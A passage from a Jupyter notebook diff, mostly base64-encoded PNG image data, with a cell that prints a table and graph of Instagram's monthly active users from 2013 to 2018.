gS71yJwvEJ31Mag7QkuGatWCdpjVuKWXbQnKtXjBmxPMWVrzWkmgmfA+f1rhO9fQuB4EYJnGhA8y1qCVpWc5X0DtjzPEm9rZPLKubkLwbNcTNRuYa0G24tzdP1BI4LnNNwGHiHUuwzBczUIXpqL4KV5cmGYStk2IcQlVhyCLNHhV5W4ZQ/tE8PqA3sItxeqZUJVJm4vVCmoJdp26bnMKgTCLVO3rDHg46bjVsGthFbzK+b8FXuZimQ/KmsG2mTnKhBW/4w5HojrKxSSyhTsHJVkla9htyiTmEzPViPc95VK3NpwOy6paac2mey04Fb+6n9sstO6nsjK+oEfLbjtbtbwahCW17SrVK2EWyLsXIhbuzTcLrEQltdyDJASWefDub5UPh6+f0JVJRi4tRH2iduEWA23dw9B9DZBXJsHcZVwGW+YJG2FuL5YAmH4ty3q+utL4lzfBnG1TT3fOxvhO18CgQH12PWlED/8Xc01JlOJmG3WzIXo1nD7qFN9pryuVd3md3hiuEDtKXAbgV6CqZlWiO4mhH9cCQQeIPzTKnlfojC/D6GYw+/F1/C8HAu3v6nvzu9mrif2Em+vEEiJzHMgumoxNvKzTNzytno//nz1dT2zISJDxJ0l3zcu3EaAd5a6jtfytV21CP+s4ZaAfLlJQ7B1HV8r4Xa+glXCbd9+BbedNQqBLzcrcGVq2FxLCOYQmllH4e9H+NZnEBfL1XfgZ8lphOhpUYljvp6fZ+CWCH1jNcSlao28jRBMlbMSxB4C8MU4cEucjTt16nFWOBBuH/VAMLErkbcOghUSEm4N3jZLsBWd/Jm1Ysx3F2HC7YVqiEvNEFzyxvqUyCi4FRfqIOfaasA/CNHVBnGuQqKuOE+kjTPnqyFO/QXcSsCtgDhrJh7cnlXIe7FJAe7pcognpkyCMOGWSCxOlUGcb4I41wBxrh7iTI16zalSCA5ff3wawhpuxWlCci3EmWqIkyXROVECIacY4iQXkeVgjInbwR6IYwXquY5iiI6i+HOiFMKCW/FNOkRHCQQXtvF1p/jzqYHoKIU4Vqjg9rtpsrpBJm4vr1BL0GSlQiWcE1VqImhLgCaAuiCuEG774Bi4Jd6yO5ep3GPlcI6yH5dpXPbOzoBzMAXhOzpxS7hl/QLTut9otDV4a58RuN0C56upOqFrwa0B3G/Z2VumErkGbpm4JdwSdw8yMUsYngnnm2I4hF6Z0i2TsCu6CLd/wDnADtzs8XBLyGUdA6GXeHtoOpw9FtzumaRg16CtPF1w+JtIvP1UuE3SsKvh1gCuPF1wPpsKcbQBcHxwDpfC2ZcBZ19mZCTeGsQl0kq4zYDo/VjBLdO4hFtWJRB5P2PKld2yegi4si83U3XcXtmO0CcT1WMGbp84CbdJGm774XzTjNCnxE8LbncSa+1hh60Ft6xiYK0CqxI4OzMQ+nQqQuzDjXTjpiO0eQLC1/Yh/EcXQtvZ16urFQi4u5m2zUaItQqyG5f9uOPhNsR6hd3TENqRgxCRlnAbmWQFtJsTENo1HQj5ENyp4VYuMEtGcIueCNryfgqCG1+Gc+ItjDFxK+sUkqK1Ckzdbs1GcBt7dTMQ/CAGbm+eQGDNM6pGYUtWFG9lLy7RViMuaxQ2voaxuzcsuOUis0QE3yM4u1Qyl5jLXty3JyL0VUzilnD7ziQFuwZs7XODTtye24rwrcsIrHlZJ3Nj0FYi7hQENqYh8F62TOBKuO3aB/+y5xAwcLt2isLb9enR2gTTe2vg9suFCKx4CQHiLeF23DAVnKHhdgqC21TiNrghFwHC7epE+FdNiU4EbhPgX83lXf8Fp+tL1XFr4HZFAvwcg7axpw23BF324splZ3YvLpefTYZ/5VT4V6XAvzZbwe3WetV7yzQuYXdZolpgxiVmepi49S14EcHPFmPswS34JdxOUolbwq09BnEJt3OtqoR4cGv6cM25KAEGboO7l8Ir4TYJvuUZ8C1nIjYF3gVM5RJv2Vur4fbtEowN3Yf/3Ur4lqTCtzxb4S0B9w2mbTNkHy6TuJ7ZLzwJt0szIqlcWb8QWWqml5vNT4Jn1ouRqgRP01Pg1gAuz7ZEmcaNwG3zRHjap8oULpO4HO/CTHgX58jkrWduMjyNE+F7rw1hViUszoN79hS456aqyoSF2Sp9KyFXI+6ifIzWvYLgkU8gbunEbWuaqlJgVcIcvpZVDHlwt2VgdPZUjLbEVCUQblvSFOqySkFWJVjnrFSMNrwG9+KYqgQbbgm4pjKBcDsnW3bf+natQ5iJ28Z0jNRbcCtrE9Ixwr7bVtY4FGC0vVDWJki4ZeK2OhkjTa5xaBtJ3dZlYGR2HkaYuK1Nh/P7T/AxcWvgtjZDLTGz0Za3CbdlsXCbMh5uibZmiLg23P7JqoQ0PGbitlbDbaXqubXxdqjchWC3lbg9fQxDlfkYbuRCskIMVeZhqIxoayYHjwi307mcTMNtUTYesf+WiVwbbSO3mbj9C7iNh7excJuZiocmccuqhMpyPCwtVh2303TqtrAQA5kKbj27dmMwNw8PKyrxsKwCD8sqMcgh2paUY2BGsaxMGMgukLUJNtwOTi/RcFuJgYIiDJiqBCZu82KqEp4GtzbePg1uubjM4K2duC2okR249ybFwG1GGfrTSuWCsvt5dZCTX4/7+fXoz2/AvYwqDNQugnPnHgaqFuHupGjiVsJtUiX6sxrQn92Ee2n1uMuqhOcLo1UJpuNWViXEr0v4g1UJzxTBvb8jpiohNnGr4PbO87X4M20exODjiIsNmuVkBm4N3r40RyZuJd5Omo8+zqsL0DdxPm5PmKcStwEJt/+BoaVM1hq01edSDbdLnsVwLNyu5KKwJAyvScTQ8pcxvHyCmjcJtxMx9DrhtlouJ3v8TgqGV72C4bWJarhgjFi7+hU1a/hcAoYJt2e3gnD7eNVLGNlEuE1XPbWE23cmq1nHtC3hNhHDq7mc7CwCXZ9heOWzKlW7fgpG5CRiZIM1G5Mk1I5uyZYdt24Dt+8TbfVsTpVpW/fHuZCdtZtT5HIx33fsuP0Vox+lY3TzVNVluyUNo1uz1OKxbTl6wVgmRrdlYWTDhAjcjm58SSVrt2WAcMukrWcPE7f5cG/nsjINt59ouGXH7dbXIjhLoJVIy2Vi9uzIgsckbg81wrMjXUEt4VaCrXXuzYf3y1IFt1d3QTy4IeHWu68A3n35UCdvM3nLzltiLPtsB6CSAAAIfElEQVRoS+HZmwPRdx7Or0fh2Z0K75czFdQSayXasiZhOryHyhTcfhsDt12b4NufMx5uD86ETw7xVsPtCSZuB+E/Phu+gxpujxTLhWIEWz/nH3qegNtCVYcgU7YabpmoJdqaIdQeLUV48DqcX7+Gj9uxJdhWqSStTNMyUWvQlifRtQ5RuC1H4ASTtRpqY0+C7PFShHp1VQLh9mSlhtqaCNgGT9XKxCxTs0TawLEZEAZuO4oUxLLygHUHnLNNCmsJtmYM3P7yCYKnKxG80ILghdmq4kB2z7KvtgHB83wf3q5FqJsJSgW3Id7vbEeoc57qob3YaKFtkwLZczFwe6lZVRlETlYfWMP0rIHbRz0IXaxCiFAbQdvZCHW3INSrErWyPkD+yngz4IxC/LJJJ1v1r60TYmWfKuGRdQDzJdCKm/ZyMg/EjRWyCkAh7RwFqEx3so6gh5DLX3+vRviOhtvOmji/Xm8jbKt6DdOgQz0IPzgJ53K9QlQmUeMNkZXJ15803P6yTqZcFbwahLXOq+1wWDHQ2wLx708lkskU7BUuBeN7mTGwShxdAHFjqUTRsfsdEm5FT+N4hL1GjIwdQmwzxjy/I2zg9od5ca4zr2O6tBXihoHbDyF4/Y0l6rPGvT+/VxvEDwS8OoT79iq47Z0FcX0RxDWmU/nXoIF33DkX/P5jjy7JkZ/5A6+foz6f38EeibgW3N7aKT9Tvv844CXAmmEKtwnhnyy47WlSIMzv8sNCNVf5M+LnarjttxO3/4LomaWeI/bKa4nQBFsCZou6fdmC28s1+v3a1d83vqaXoGrwtkW955W5kHD7rw8kykrsjeAuryXY6uFrL9ci/IuG26vzFULzesKuPUwIE3YJy51VCLPCwv0bBOFWXtcMIfG2WSGsrH7QKWfe/r4CY757Cm6/L1ffoZtIzGnUKE205t/3Weq7X2MVy32Ef1wN0VmtkJdoK6cBossaArCB29BjmQpWsFsvKydYOyFHIi7Rtk7dv1iFsX7CbS/EhYrxcEu8tQH3e6Z7icbN8n/YhG9ugThXAnGROFsDcdHAbbUC3QtV6v34POGWqWYJt+UKbvk88faJiYHbMyUaeCsh+O9QTgRtK9Rzp2ISt/fOROGWidwz5U/O6TKI06WyjiH8y1YI1jOwj/dM1XiwteG2YxrCPcuAkFtdZ6634TZym8j6FLg9UQxxoig6NuISbr/Vy8l+3y9vSwjuINwWQZyqUnB7ogzieKECXVY4nKwE3HcQ7l4B8W0OxPEiPUTfUp3QZX9tIRxWLNhwe5T1BKxJmK66cwm3xwm37Lwl2saB20MGbgsU3BJv7TF4e5hJvZ8R/iEGbo8QUvUczlPLzwi37NPlElPvA8iqhAMabg+xFiFXDSsYjkyHc4TL0ZiwzYT4fqWGW/beZsM5kBMdQi7rFgi3HKZ3Y+GW4MtOXNmLa9BWw+3+DAm+Y57+yH8sCFYl7E1SsLs/Dtxyb8Bewm29htsyOJ9njp8I4hJ0M+B8ng1ndzLCPVswNnAj2pfLPlxiLasWDNqaU6d21XKybVG43cOeWZ26tfGWj+1MktULTBBH4Famc1MR2sXUrY22KQp1P5kM5ztdlSDhNgWhvXkI7ctHaBeXlTFlaw1TuJtfRPjqHoT7LqoFaLtcCO3IQmiH7shlpUJkqZnuyP0wmrgNbZms4TZbLzWbitDW5MhIxP0wBm4/nKJw16DtE2cM3LILl1UJskqBZxKCWzMV3G7NUs99mILAWp24Jdy+9QyCXHImF5elILg5XUEuT4Lte8kIbkqUSBuB27dfVI8Tbt9PVVUKxNtNxNwkBP83uF3PKgM9Bm83JMO/8jk48eB2XSICnEjyllUJqQi8ny0fC988C0G4Xf4cAuuSdZ0Ck7R6uORs3VQE3k1F4B2erEq4g9Dn7Qi8OUFVK4xD2wSVwmWFArF31WTIxO3jfgQ35iKw4lVVpRCB2wT4V+lZGQO3v16ALxZuDeDGIu4buiqBiVvCLWF2OXtsrZGQq/F22ST4V6cCfiZuq+B/ncvK9EIzC2wN3PrfSISXcLt3iYbbHPgWvwrf60zWxsBt5H5iFG5ZlTDnWfiWJj3ZhWvQVp4J8C1SiVvCra/tRbXQbFkGfG8SYNPgXZQA7yKiLScR3vZX4Jdw2w/fWzPhnZ8A79I0eJekwbs4VYEt+3CZ1H0q3GZG4XZcP24ivETcBTbcboeE2wXJ8Mx7TY0NtpHbT4Fbe5HZggwFt4tc8LSnwNM0Ef73Wy24TZTdt+5W9tmmwN2eDve8TLjnZcA9Nx3u9jSMVv4NwcMfx4HbZLhb06Jw25oul5uNtqRgpG4SnGvn1HKyWLiNxdsI3OrlZCtqMVI7RXXfmsStdY40pGCkxTUebpt04paAq7tuIyefa3ZhpCUXj6uTEDxxAE7PeTwueUUvLyP6po8D3Mf1GRhhhUIb4TbNgtvJKnFr4NacBnBtuL33B0bbS/G4gnCr07Y6dRuBWwKuhNtX4WXi9s/bGC5LVXBbl49hoq0Z2XPrwlBlNoZK0hDsOh/5czJw8p94VJqFoep8DbYuddp4+wTcuvCoLE/BbTy8LTFw2/Jkxy3RNgK3VvK2yHTcfo4gE7c23JYWK7gtK5HLygYl3BZgkIlbwu2NG/Ds2ImBtHQMzixSU1SMgZklsipB1ibIztvC8YlbvZxssLA0Crf5MzGQMx0DRFsDtynZGF6sO24l3E4f33Eb23WbXRw/cRsLtznleDCtBg8It65y3JuUMz5xm0m4LUF/agn608vRn0mIrUK/qwr9WdW4m1iMgbJ2OH/EgdukctxN5rWNCm5Ta//v4XYisVbPSzzrIeE2pR1iYDjyz9jT4Pb2s824/dws9L0wB7cntOL2hDbcfqENt56dg1v/3YL/AboJkO00gNIDAAAAAElFTkSuQmCC" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram Active Users \n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users :\n", + "\n", + " Date(month-year) Monthly_active_users_millions\n", + "0 Jan-13 90\n", + "1 Feb-13 100\n", + "2 Jun-13 130\n", + "3 Sep-13 150\n", + "4 Mar-14 200\n", + "5 Dec-14 300\n", + "6 Sep-15 400\n", + "7 Jun-15 500\n", + "8 Dec-16 600\n", + "9 Apr-17 700\n", + "10 Sep-17 800\n", + "11 Jun-18 1000\n", + "\n", + "\n", + "Graph :\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAX0AAAEWCAYAAACKSkfIAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAA1HUlEQVR4nO3dd3hUZfbA8e8hBEiA0HsvoQYEiSBWFhSpYkFEXbuLbQX1p4gddXWxrL2wuBZcFEGwIKKIKGtDMMGQQie0QIDQQigh7fz+uBccQgJJZpKZZM7nefJk5tZz5yZn3nnn3veIqmKMMSY4VPJ3AMYYY8qOJX1jjAkilvSNMSaIWNI3xpggYknfGGOCiCV9Y4wJIpb0jTEmiFjSN2VORDaKyAVebuMGEfnZVzEZEyws6RtTABGp7O8YvFURjsH4niV941dHW+wi8oKI7BWRDSIyON/8ZBHJcOddIyKdgclAXxE5ICL73GWHisgfIrJfRLaIyMR8+7pORDaJyG4RedTzE4eITBSRWSIyTUT2AzeISG8RWSwi+0QkVUReF5EqHttTEblDRNa68T0lIu3cdfaLyEzP5fPFMlFEpnk8b+1ur3Jhx+2x7E0istJ9veaLSKt8Md0pImuBteJ4SUR2iki6iMSLSJQ358yUb5b0TSDoA6wG6gPPAe+4yao68CowWFVrAmcBcaq6ErgNWKyqNVS1trudg8B1QG1gKHC7iFwCICJdgDeBa4AmQC2gWb44RgCz3PU/BHKBe9y4+gIDgDvyrTMI6AWcCYwHprj7aAFEAVcV98Uo7LjdeZcADwGXAQ2An4Dp+TZxCc5r2gUYCJwHdHCP60pgd3FjMhWHJX0TCDap6tuqmgtMxUnKjdx5eUCUiISpaqqqJhW2EVVdpKoJqpqnqvE4yfB8d/ZI4EtV/VlVs4DHgPwDTy1W1c/d9Q+raqyq/qaqOaq6Efi3x/aOelZV97txJQLfqmqyqqYDXwM9S/iaFHbctwL/VNWVqpoDPAP08Gztu/P3qOphIBuoCXQCxF0vtYQxmQrAkr4JBNuPPlDVQ+7DGqp6EKdlehuQKiJfiUinwjYiIn1E5AcRSRORdHe9+u7spsCWfPvJ3+Ld4vlERDqIyFwR2e52+Tzjsb2jdng8PlzA8xqFxVuYUxx3K+AVt8tpH7AHEI7/1OJ5nN8DrwNvADtEZIqIRBQ3JlNxWNI3AU1V56vqhTit/1XA20dnFbD4R8AcoIWq1sLp9xd3XirQ/OiCIhIG1Mu/u3zP33L3GamqETjdKoJvHATCPZ43Pi6Qwo97C3Crqtb2+AlT1V8LOw5VfVVVewFdcbp57vfRMZhyyJK+CVgi0khELnb7uI8AB3D62cFpUTfP90VpTWCPqmaKSG/gao95s4DhInKWu84TnDqB1wT2Awfclvbt3h/VMXHAeSLSUkRqAQ8enXGK454MPCgiXd1la4nIFYXtRETOcD8BheK80WR6bMsEIUv6JpBVAv4P2IbTjXE+f36R+j2QBGwXkV3utDuAJ0UkA6fPfubRDbl94ncBH+O0+jOAnThJtTD34bxxZOC0tGf45KiceBa424sHYoG5HrMLPW5V/Qx4FvjY7XJKBAZTuAg39r3AJpwurRd8dRym/BEromKCkYjUAPbhdN1s8HM4xpQZa+mboCEiw0Uk3O02eQFIADb6NypjypYlfRNMRuB0mWwDIoHRah91TZCx7h1jjAki1tI3xpggEvADMtWvX19bt27t7zCMMaZciY2N3aWqDfJPD/ik37p1a2JiYvwdhjHGlCsisqmg6da9Y4wxQcSSvjHGBBFL+sYYE0QCvk+/INnZ2aSkpJCZmenvUIwpNdWqVaN58+aEhob6OxRTgZTLpJ+SkkLNmjVp3bo1Ir4a9NCYwKGq7N69m5SUFNq0aePvcEwFcsruHRF51y21lugxra6ILHDLxC0QkToe8x4UkXUislpELvKY3ktEEtx5r4oX2TozM5N69epZwjcVlohQr149+zRrfK4offrv45SE8zQBWKiqkcBC9/nRknSjccbtHgS8KSIh7jpvAWNwbn+PLGCbxWIJ31R09jcefA5n5ZKdm1eq+zhl0lfVH3GGd/U0AqesHe7vSzymf6yqR9yRC9cBvUWkCRChqovdsU4+8FjHGGOCnqoyfnY8176zhNy80hsep6RX7zQ6WmfT/d3Qnd6M40vOpbjTmrmP808vkIiMEZEYEYlJS0srYYjGGFN+TPttE18u38a5kQ0IqVR6n/J8fclmQZHqSaYXSFWnqGq0qkY3aHDCXcQBQUS49tprjz3PycmhQYMGDBs2rETb27dvH2+++eax54sWLSp0W/369Sv1u5QXLVrEr7/+WYFv8uTJfPDBB6W6z0A0ZMgQ9u3bB0CNGk65240bNxIVFQVATEwMY8eO9Vd4poJYvmUfT81dSf9ODbn9/Haluq+SXr2zQ0SaqGqq23Wz052eArTwWK45zjC2KXjUJ/WYXm5Vr16dxMREDh8+TFhYGAsWLKBZs0I/vJzS0aR/xx13nHrhMrBo0SJq1KjBWWedBcBtt93m54hOLTc3l5CQkFMvWAzz5s076fzo6Giio6N9uk8TXPYdyuKOD5fRoGZVXhx1GpVKsZUPJU/6c4DrgUnu7y88pn8kIi8CTXG+sF2qqrkikiEiZwJLgOuA17yK3PXEl0ms2LbfF5s6pkvTCB4f3vWUyw0ePJivvvqKkSNHMn36dK666ip++uknAPbs2cNNN91EcnIy4eHhTJkyhe7duzNx4kQ2b95McnIymzdv5u6772bs2LFMmDCB9evX06NHDy688EKGDh3KgQMHGDlyJImJifTq1Ytp06Yd9+XeO++8Q2JiIi+99BIAb7/9NitXruTFF18sMN5LLrmELVu2kJmZybhx4xgzZgwA33zzDQ899BC5ubnUr1+fd955h8mTJxMSEsK0adN47bXXWLhwITVq1GDo0KFcf/31LF26FHBavRdffDHx8fHExsZy7733cuDAAerXr8/7779PkyZNCoylX79+vPDCC0RHR7Nr1y6io6PZuHEjSUlJ3HjjjWRlZZGXl8fs2bOJjIxk2rRpvPrqq2RlZdGnTx/efPNNQkJCqFGjBvfeey/z58/nX//6F3PnzmXOnDlUrlyZgQMH8sILBVcGvOGGGwgLC2PVqlVs2rSJ9957j6lTp7J48WL69OnD+++/D/w59lP9+vUL3M6iRYt44YUXmDt3brHP+cGDBxk1ahQpKSnk5uby6KOPcuWVV57ir85UJHl5yv/NXM7OjEw+ue0saodXOfVKXirKJZvTgcVARxFJEZGbcZL9hSKyFrjQfX60DulMYAXwDXCnqh4twnw78B+cL3fXA1/7+FjK3OjRo/n444/JzMwkPj6ePn36HJv3+OOP07NnT+Lj43nmmWe47rrrjs1btWoV8+fPZ+nSpTzxxBNkZ2czadIk2rVrR1xcHM8//zwAf/zxBy+//DIrVqwgOTmZX3755YT9z5kzh+zsbADee+89brzxxkLjfffdd4mNjSUmJoZXX32V3bt3k5aWxt/+9jdmz57N8uXL+eSTT2jdujW33XYb99xzD3FxcZx77rnHttG5c2eysrJITk4GYMaMGYwaNYrs7GzuuusuZs2aRWxsLDfddBMPP/xwsV/TyZMnM27cOOLi4oiJiaF58+asXLmSGTNm8MsvvxAXF0dISAgffvghAAcPHiQqKoolS5bQpUsXPvvsM5KSkoiPj+eRRx456b727t3L999/z0svvcTw4cO55557SEpKIiEhgbi4uGLHXtxz/s0339C0aVOWL19OYmIigwZ5dUGbKYf+/WMyC1ft5NFhXejRonaZ7POULX1VvaqQWQMKWf5p4OkCpscAUcWKrgiK0iIvLd27d2fjxo1Mnz6dIUOGHDfv559/Zvbs2QD079+f3bt3k56eDsDQoUOpWrUqVatWpWHDhuzYsaPA7ffu3ZvmzZ1esR49erBx40bOOeecY/OrV69O//79mTt3Lp07dyY7O5tu3boVGu+rr77KZ599BsCWLVtYu3YtaWlpnHfeecduAKpbt+4pj3vUqFHMnDmTCRMmMGPGDGbMmMHq1atJTEzkwgsvBJyulsJa+SfTt29fnn76aVJSUrjsssuIjIxk4cKFxMbGcsYZZwBw+PBhGjZ0rh0ICQnh8ssvByAiIoJq1apxyy23MHTo0FN+vzJ8+HBEhG7dutGoUaNjr13Xrl3ZuHEjPXr0KFbsxT3n3bp147777uOBBx5g2LBhx725morvt+TdPD9/FcNPa8q1Z7Yqs/3a2Dteuvjii7nvvvu46qrj3xsLqkh2tGumatWqx6aFhISQk5NT4LaLstwtt9zC+++/f8pW/qJFi/juu+9YvHgxy5cvp2fPnmRmZqKqxb4e/Morr2TmzJmsWbMGESEyMhJVpWvXrsTFxREXF0dCQgLffvttoduoXLkyeXnO9cieNyBdffXVzJkzh7CwMC666CK+//57VJXrr7/+2LZXr17NxIkTAWeogqP9+JUrV2bp0qVcfvnlfP7556dsOR99fStVqnTca12pUqVCz8nJFPecd+jQgdjYWLp168aDDz7Ik08+Wex9mvJpZ0Ymd03/g9b1q/PPy7qV6T0ZlvS9dNNNN/HYY4+d0MI+77zzjnVBLFq0iPr16xMREVHodmrWrElGRkax99+nTx+2bNnCRx99dMIbj6f09HTq1KlDeHg4q1at4rfffgOclvX//vc/NmzYADjfRZwqnnbt2hESEsJTTz11rA+6Y8eOpKWlsXjxYsAZHykpKanQeFq3bk1sbCwAs2bNOjY9OTmZtm3bMnbs2GPfFQwYMIBZs2axc+fOYzFu2nTiUOEHDhwgPT2dIUOG8PLLL5eoi8YbxT3n27ZtIzw8nL/+9a/cd999LFu2rKxCNX6Uk5vHuOlxZGRm89Y1vahRtWxHwymXY+8EkubNmzNu3LgTpk+cOJEbb7yR7t27Ex4eztSpUwtY+0/16tXj7LPPJioqisGDBzN06NAixzBq1Cji4uKoU6dOocsMGjSIyZMn0717dzp27MiZZ54JQIMGDZgyZQqXXXYZeXl5NGzYkAULFjB8+HBGjhzJF198wWuvnfid+5VXXsn9999/7M2iSpUqzJo1i7Fjx5Kenk5OTg533303XbsW3P123333MWrUKP773//Sv3//Y9NnzJjBtGnTCA0NpXHjxjz22GPUrVuXf/zjHwwcOJC8vDxCQ0N54403aNXq+I/EGRkZjBgx4tgnmKNfcJeV4p7zhIQE7r//fipVqkRoaChvvfVWGUVq/Oml79awOHk3/7riNDo2rlnm+w/4wujR0dGa/5r0lStX0rlzZz9FFHiGDRvGPffcw4ABBX7NYsox+1uvWH5YtZMb3/+d0We0YNLl3Ut1XyISq6onXE9s3Tvl2L59++jQoQNhYWGW8I0JcCl7D3HPzDi6NIlg4sX+uwDFunfKsdq1a7NmzZrjpu3evbvAN4CFCxdSr169sgrtmDvvvPOES03HjRt30i+dfenpp5/mk08+OW7aFVdcUaLLSY0pqaycPO786A9yc5U3rzmdaqG+vYmwOMpt906nTp1sFEJToakqq1atsu6dCmDinCTe/3Ujk/96OoOiin8pc0lUqO6datWqsXv37gIvkTOmIjhaRKVatWr+DsV4aW78Nt7/dSM3n9OmzBL+yZTL7p3mzZuTkpKCjcBpKrKj5RJN+bU+7QAPzIqnV6s6TBjcyd/hAOU06YeGhloJOWNMQDuclcsd05ZRNTSE16/uSWhIYHSslMukb4wxgUxVeeTzRNbszGDqjb1pUivM3yEdExhvPcYYU4HMjNnC7GUpjO0fyXkdAqsmiCV9Y4zxoRXb9vPYF0mc074+YwdE+jucE1jSN8YYH9mfmc0dH8ZSOzyUl0f3KNWyhyVlffrGGOMDqsoDs+LZsvcwH485k/o1qp56JT+wlr4xxvjAu79s5OvE7UwY1IkzWp+6LoW/WNI3xhgvxW7ayz/nrWRgl0bccm5gX05uSd8YY7yw52AWf/9oGU1rh/H8FacF/PAw1qdvjDEllJen3D0jjt0Hs/j09rOoFRbq75BOyVr6xhhTQq//sI4f16QxcXhXoprV8nc4RWJJ3xhjSuDntbt46bs1XNqzGVf1buHvcIrMkr4xxhTT9vRMxn38B5ENa/D0pVEB34/vyZK+McYUQ3ZuHndNX8bh7FzevOZ0wquUr69Gy1e0xhjjZy/MX83vG/fyyugetG9Y9oXNvWUtfWOMKaJvk7bz7x+TufbMVozo0czf4ZSIJX1jjCmCzbsP8X+fLKd781o8Mqz8lrC0pG+MMaeQmZ3LHR/FIsAbV59O1cr+K2zuLevTN8aYU3hy7goSt+7nP9dF06JuuL/D8Yq19I0x5iQ+/2MrHy3ZzG3nt+OCLo38HY7XLOkbY0wh1u7I4MFPE+jdpi73Dezg73B8wpK+McYU4OCRHG7/cBnVq4bw+lU9qRwghc29ZX36xhiTj6ry0GcJJKcdYNotfWgYUc3fIfmMV29dInKPiCSJSKKITBeRaiJSV0QWiMha93cdj+UfFJF1IrJaRC7yPnxjjPG9D5ds5ou4bdx7YQfOalff3+H4VImTvog0A8YC0aoaBYQAo4EJwEJVjQQWus8RkS7u/K7AIOBNESm/1z0ZYyqk+JR9PPnlCvp1bMAd/dr7Oxyf87aTqjIQJiKVgXBgGzACmOrOnwpc4j4eAXysqkdUdQOwDujt5f6NMcZn9h7M4o4Pl1G/RhVeGtWDSgFY2NxbJU76qroVeAHYDKQC6ar6LdBIVVPdZVKBhu4qzYAtHptIcaedQETGiEiMiMSkpaWVNERjjCmyhSt3MPiVn9ixP5M3rjmdOtWr+DukUuFN904dnNZ7G6ApUF1E/nqyVQqYpgUtqKpTVDVaVaMbNGhQ0hCNMeaU9h7M4p4Zcdw8NYZaYaHMuu0serasc+oVyylvrt65ANigqmkAIvIpcBawQ0SaqGqqiDQBdrrLpwCelQaa43QHGWOMX8xLSOWxLxLZdyibcQMiufMv7alSuWJcmlkYb5L+ZuBMEQkHDgMDgBjgIHA9MMn9/YW7/BzgIxF5EeeTQSSw1Iv9G2NMiezMyOTxL5L4OnE7Uc0i+OCmPnRpGuHvsMpEiZO+qi4RkVnAMiAH+AOYAtQAZorIzThvDFe4yyeJyExghbv8naqa62X8xhhTZKrK53FbeeLLFRzKymX8oI6MObdthbnxqihEtcBu9YARHR2tMTEx/g7DGFPOpaYf5qFPE/hhdRqnt6zNcyNPo33DGv4Oq9SISKyqRuefbnfkGmMqNFVl+tIt/HPeSnLylMeGdeH6s1oTUgEvxywKS/rGmApr8+5DTPg0nl/X76Zv23o8e3l3WtYr30Mje8uSvjGmwsnLU6Yu3shz36wmpJLwzKXduKp3C0SCs3XvyZK+MaZCWZ92gAdmxROzaS/9OjbgmUu70bR2mL/DChiW9I0xFUJObh5v/7SBl75bQ1hoCC+OOo1Lezaz1n0+lvSNMeXequ37uf+TeBK2pnNR10Y8dUkUDWtWnOGQfcmSvjGm3MrKyePNRet444d1RFQL5Y2rT2dIt8bWuj8JS/rGmHIpPmUf42fFs2p7Bpf0aMpjw7tSt4IOkuZLlvSNMeVKZnYuL3+3lik/rqdBzar857roClGwvKxY0jfGlBsxG/cwfnY8yWkHuTK6BQ8N7UytsFB/h1WuWNI3xgS8Q1k5PPfNaqYu3kjTWmH89+benBtpw66XhCV9Y0xA+2XdLiZ8Gs+WPYe5vm8rxg/qRPWqlrpKyl45Y0xA2p+ZzT/nrWL60s20qV+dmbf2pXebuv4Oq9yzpG+MCTjfr9rBQ58msjMjk1vPa8s9F3agWmiIv8OqECzpG2MCxt6DWTw1dwWf/rGVDo1qMPnas+nRora/w6pQLOkbYwLC1wmpPOqWLhzbvz139m9P1crWuvc1S/rGGL9KyzjC43MSmZewna5Ng6t0oT9Y0jfG+MVxpQuP5HL/RR0Zc15bQoOodKE/WNI3xpS51PTDPPxZIt+v2knPlrV5fmR32jes6e+wgoIlfWNMmVFVZvy+hae/Wkl2Xh6PDuvCDUFcutAfLOkbY8rElj1O6cJf1u3mzLZ1efby7rSqV93fYQUdS/rGmFKVl6d8sHgjz7qlC5++NIqrzmhJJWvd+4UlfWNMqUlOO8ADs+P5feNezu/QgGcu60YzK13oV5b0jTE+l5Obxzs/b+DFBWuoWrkSL1xxGpefbqULA4ElfWOMT63avp/xs+KJT0lnYJdG/OOSKBpGWOnCQGFJ3xjjE1k5eby1aD2v/7CWiGqhvH51T4Z2a2Kt+wBjSd8Y47WElHTun7WcVdszGNGjKY9b6cKAZUnfGFNimdm5vLJwLVN+TKZe9Sq8fV00F1rpwoBmSd8YUyKxm/Zw/yyndOGo6OY8PLSLlS4sByzpG2OK5VBWDs/PX837vzqlCz+4qTfndbDSheWFJX1jTJH9um4XEz5NYPOeQ1znli6sYaULyxU7W8aYU/IsXdi6XjgzxpxJn7b1/B2WKQFL+saYk/ph9U4e+jSBHfszGXNeW+65oANhVay4SXnl1cDVIlJbRGaJyCoRWSkifUWkrogsEJG17u86Hss/KCLrRGS1iFzkffjGmNKy71AW986M48b3fqdG1crMvv0sHhrS2RJ+OedtS/8V4BtVHSkiVYBw4CFgoapOEpEJwATgARHpAowGugJNge9EpIOq5noZgzHGx75J3M4jnyey71AWd/Vvz9+tdGGFUeKkLyIRwHnADQCqmgVkicgIoJ+72FRgEfAAMAL4WFWPABtEZB3QG1hc0hiMMb6168ARHv8iia8SUunaNIKpN51B16a1/B2W8SFvWvptgTTgPRE5DYgFxgGNVDUVQFVTRaShu3wz4DeP9VPcaScQkTHAGICWLVt6EaIxpihUlTnLtzFxThIHj+Ry38AO3Hp+OytdWAF5k/QrA6cDd6nqEhF5BacrpzAFDcChBS2oqlOAKQDR0dEFLmOM8Y3t6Zk88nkC3610Shc+d3l3IhtZ6cKKypuknwKkqOoS9/ksnKS/Q0SauK38JsBOj+VbeKzfHNjmxf6NMV5QVWbGbOEfX60kOzePR4Z25saz21jpwgquxElfVbeLyBYR6aiqq4EBwAr353pgkvv7C3eVOcBHIvIizhe5kcBSb4I3xpTMlj2HePDTBH5et4s+bZzSha3rW+nCYODt1Tt3AR+6V+4kAzfiXAY6U0RuBjYDVwCoapKIzMR5U8gB7rQrd4wpW3l5yn9/28Sz36xCgKcuieKa3la6MJh4lfRVNQ6ILmDWgEKWfxp42pt9GmNKJjntABNmJ7B04x7O69CAZy6Nonmd